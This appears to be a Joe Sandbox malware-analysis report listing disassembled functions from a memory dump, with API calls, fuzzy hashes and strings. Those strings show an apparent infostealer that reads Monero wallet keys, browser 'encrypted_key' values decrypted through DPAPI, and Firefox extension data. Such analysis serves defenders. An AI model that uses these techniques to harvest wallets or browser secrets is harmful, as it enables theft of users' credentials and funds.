Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 227c9f4c94c37cefad523c166b1f59c80b1fd51a59ef2bf0462f9f33db2c4362
Instruction ID: 0e0435e17ae779f50caf8afadbca77d0ccdabe406aee7f3221548a50677ea800
Opcode Fuzzy Hash: 227c9f4c94c37cefad523c166b1f59c80b1fd51a59ef2bf0462f9f33db2c4362
Instruction Fuzzy Hash: 4A4162F2928248FFCB14DB64ECDAFAD3775BB48305F08001DE4465A2A0DB795D45DB51

Function 007CA1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

Part of subcall function 007D8600: GetSystemTime.KERNEL32(007E0E02,012DA6C0,007E059E,?,?,007C13F9,?,0000001A,007E0E02,00000000,?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007D8626

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 007CA231
lstrlen.KERNEL32(00000000), ref: 007CA5EA

Part of subcall function 007C9E60: LocalAlloc.KERNEL32(00000040,?), ref: 007C9EFE

lstrlen.KERNEL32(00000000,00000000), ref: 007CA32D
DeleteFileA.KERNEL32(00000000), ref: 007CA671

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTime
String ID:
API String ID: 3104408854-0
Opcode ID: 09eb8d08c8b6caba41b1f9127bdefeb57a8db51dcbe6cec2a62abea0726ff47f
Instruction ID: 373e7d89d3e1086b3d334db93ab089e9aaf5818c83a10991b579ea82e99fdaa9
Opcode Fuzzy Hash: 09eb8d08c8b6caba41b1f9127bdefeb57a8db51dcbe6cec2a62abea0726ff47f
Instruction Fuzzy Hash: 44D11E72810109EACB04EBA4DC9AEEE7338BF54300F54815AF55776192EF796A4CCB62

Function 007CD5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

Part of subcall function 007D8600: GetSystemTime.KERNEL32(007E0E02,012DA6C0,007E059E,?,?,007C13F9,?,0000001A,007E0E02,00000000,?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007D8626

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 007CD641
lstrlen.KERNEL32(00000000), ref: 007CD7DF
lstrlen.KERNEL32(00000000), ref: 007CD7F3
DeleteFileA.KERNEL32(00000000), ref: 007CD872

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 28098b8bff919aa6de313370576ebead1751fa3971c86002bf7fb9450f41ff0b
Instruction ID: 43e00aba21fd647ae070a67d7db666407e2d536666f057081b1fedca9673515c
Opcode Fuzzy Hash: 28098b8bff919aa6de313370576ebead1751fa3971c86002bf7fb9450f41ff0b
Instruction Fuzzy Hash: 4C81ED72910149EBCF04FBA4DC9AEEE7338BF54304F54452AF40766291EF796A08DB62

Function 007CF2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

Part of subcall function 007C9A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007C9A3C
Part of subcall function 007C9A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 007C9A61
Part of subcall function 007C9A10: LocalAlloc.KERNEL32(00000040,?), ref: 007C9A81
Part of subcall function 007C9A10: ReadFile.KERNEL32(000000FF,?,00000000,007C148F,00000000), ref: 007C9AAA
Part of subcall function 007C9A10: LocalFree.KERNEL32(007C148F), ref: 007C9AE0
Part of subcall function 007C9A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 007C9AEA

Part of subcall function 007D88D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 007D88F2

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,007E1524,007E0D7A), ref: 007CF38C
lstrlen.KERNEL32(00000000), ref: 007CF3AB

Strings

moz-extension+++, xrefs: 007CF3ED
^userContextId=4294967295, xrefs: 007CF3DC

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$ChangeCloseCreateFindFreeNotificationReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2768692033-3310892237
Opcode ID: 9d005b67bcd40dbee34b2d0f21f0cc7f9b33bc6b407817b5523b44f03f3c49fe
Instruction ID: e0af4ab45117dfa9143b8cb575db62147f1411d72d1ea38e4272bafd9aa161e7
Opcode Fuzzy Hash: 9d005b67bcd40dbee34b2d0f21f0cc7f9b33bc6b407817b5523b44f03f3c49fe
Instruction Fuzzy Hash: A751DE72910109EACF04FBB4DC5ADED7779BF94300F448529F81667291EE796A08CBA2

Function 007C9D30 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007C9A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007C9A3C
Part of subcall function 007C9A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 007C9A61
Part of subcall function 007C9A10: LocalAlloc.KERNEL32(00000040,?), ref: 007C9A81
Part of subcall function 007C9A10: ReadFile.KERNEL32(000000FF,?,00000000,007C148F,00000000), ref: 007C9AAA
Part of subcall function 007C9A10: LocalFree.KERNEL32(007C148F), ref: 007C9AE0
Part of subcall function 007C9A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 007C9AEA

Part of subcall function 007D88D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 007D88F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 007C9D89

Part of subcall function 007C9B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O|,00000000,00000000), ref: 007C9B3F
Part of subcall function 007C9B10: LocalAlloc.KERNEL32(00000040,?,?,?,007C4F3E,00000000,?), ref: 007C9B51
Part of subcall function 007C9B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O|,00000000,00000000), ref: 007C9B7A
Part of subcall function 007C9B10: LocalFree.KERNEL32(?,?,?,?,007C4F3E,00000000,?), ref: 007C9B8F

Part of subcall function 007C9BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 007C9BD4
Part of subcall function 007C9BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 007C9BF3
Part of subcall function 007C9BB0: LocalFree.KERNEL32(?), ref: 007C9C23

Strings

"encrypted_key":", xrefs: 007C9D80
DPAPI, xrefs: 007C9DD9
, xrefs: 007C9E11

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 549879638-738592651
Opcode ID: 1fb96f0d2d79b45362c3a182e9a7ee4567eb261077f72ae95ca41d40af8c33ec
Instruction ID: 61a8781a2bca40113373c9ed24ac6a291f234224913619ff03b3ac2428feff48
Opcode Fuzzy Hash: 1fb96f0d2d79b45362c3a182e9a7ee4567eb261077f72ae95ca41d40af8c33ec
Instruction Fuzzy Hash: 76312CB6D10109EBCB44DFA4DC4AEEFB7B8BB58704F44451DEA01A7241EB389A04CBA1

Function 007D8120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 007D816A
Process32First.KERNEL32(?,00000128), ref: 007D817E
Process32Next.KERNEL32(?,00000128), ref: 007D8193

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

FindCloseChangeNotification.KERNEL32(?), ref: 007D8201

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: b1564ae296b6560a837ed011a269ce9a0874ade1cce74ad71d2656d56bf5e718
Instruction ID: 3247057129da47ac5bdbd09d04b1c30de00120acdf89fdb5606aff66804d548c
Opcode Fuzzy Hash: b1564ae296b6560a837ed011a269ce9a0874ade1cce74ad71d2656d56bf5e718
Instruction Fuzzy Hash: 0A318DB190121CEBCB24EB55CC85FEEB378FF48700F10419AE10AA6290DB796E44CFA1

Function 007D6593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,012D92C8,?,007E10DC,?,00000000,?,007E10E0,?,00000000,007E0ADA), ref: 007D656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 007D6588
CloseHandle.KERNEL32(00000000), ref: 007D6599
Sleep.KERNEL32(00001770), ref: 007D65A4
CloseHandle.KERNEL32(?,00000000,?,012D92C8,?,007E10DC,?,00000000,?,007E10E0,?,00000000,007E0ADA), ref: 007D65BA
ExitProcess.KERNEL32 ref: 007D65C2

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 0c28eb1e5ce870c2adee859c2cf8fa9f7b17acb203e462fafa972de4f03673b8
Instruction ID: 2ef21c913ddb8ef6ca822cdf6e9a328a03d21263b547db67b0dfb6fc87dbd229
Opcode Fuzzy Hash: 0c28eb1e5ce870c2adee859c2cf8fa9f7b17acb203e462fafa972de4f03673b8
Instruction Fuzzy Hash: FFF0EC70904285EFEB10ABA0ED4EB7E3734BF08301F104406B903A93C4CBF8A940DA61

Function 007D6B70 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 007D6B7F

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 007D6C2C

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
